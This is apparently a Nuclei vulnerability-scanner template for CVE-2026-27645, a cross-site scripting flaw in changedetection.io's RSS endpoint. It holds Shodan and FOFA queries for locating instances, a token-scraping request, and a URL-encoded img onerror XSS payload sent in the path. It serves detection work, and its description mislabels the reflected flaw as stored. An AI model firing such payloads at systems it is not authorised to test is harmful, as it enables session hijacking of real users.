id: CVE-2026-27645 info: name: Changedetection.io RSS Single Watch - Cross-Site Scripting author: 0x_Akoko severity: medium description: | changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL. impact: | Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks remediation: | Update to version 0.54.1 or later. reference: - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w - https://github.com/dgtlmoon/changedetection.io/commit/a385c89abf44b52fcfa20c7c6a6dd3047c4c1eb5 - https://nvd.nist.gov/vuln/detail/CVE-2026-27645 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2026-27645 cwe-id: CWE-79 epss-score: 0.00445 epss-percentile: 0.36368 metadata: max-request: 2 verified: true fofa-query: title="Change Detection" shodan-query: http.title:"Change Detection" tags: cve,cve2026,xss,changedetection,rss flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}" matchers: - type: dsl dsl: - 'contains_all(body, "rss?token=", "Change Detection")' internal: true extractors: - type: regex name: rss_token part: body group: 1 regex: - 'rss\?token=([a-f0-9]{16,64})' internal: true - method: GET path: - "{{BaseURL}}/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token={{rss_token}}" matchers: - type: dsl dsl: - 'status_code == 404' - 'contains(content_type, "text/html")' - 'contains_all(body, "", "Watch with UUID")' condition: and # digest: 4a0a00473045022100cc7e44dbfc7bf23222aaf3b5d38ef16468c5e4cd16c7076679294c8fc57939ff02201b64193de53f3b5350cf3b084ff5688ccc50456a2cfea2e6ad0d85e847697c0c:922c64590222798bb761d5b6d8e72950